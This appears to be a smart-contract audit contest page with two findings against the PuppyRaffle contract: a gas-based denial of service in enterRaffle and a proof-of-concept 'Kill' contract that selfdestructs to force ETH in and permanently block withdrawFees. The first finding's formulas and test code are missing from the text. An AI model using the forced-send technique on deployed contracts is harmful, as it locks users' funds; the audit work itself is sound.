PuppyRaffle::enterRaffle is vulnerable to Denial of Service (DoS) due to quadratic gas growth in duplicate check
The enterRaffle function uses a nested loop to check for duplicate addresses. As the number of participants increases, the gas cost grows quadratically (), eventually exceeding the block gas limit and preventing new users from joining the raffle.
The enterRaffle function iterates through the entire players array for each player being added to ensure no duplicates exist:
This nested loop structure means that for players already in the raffle, adding a new batch of players requires roughly comparisons. As the raffle progresses and grows large, the computational effort (and thus gas cost) increases exponentially relative to the array size.
A malicious actor or even organic growth in popularity can cause the players array to grow to a size where the enterRaffle function consumes more gas than allowed in a single block (e.g., 30,000,000 gas on Ethereum). Once this threshold is reached, no more players can enter the raffle, effectively bricking the core functionality of the protocol.
This vulnerability risks reverting once the gas limit is reached thus preventing any other player from joining the raffle forever.
The following test demonstrates the rapid increase in gas costs. With just 300 players, the gas cost exceeds 30 million.
Observed Gas Costs:
100 Players: ~6.5M gas
200 Players: ~19M gas
300 Players: ~39.8M gas (Denial of Service)
Replace the nested loop with a mapping(address => bool) to track participants. Mappings provide lookup time, ensuring gas costs remain linear () based only on the number of players being added in the current transaction.
Note: The isPlayer mapping must be reset when players is cleared in selectWinner or when a player is refunded.
## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.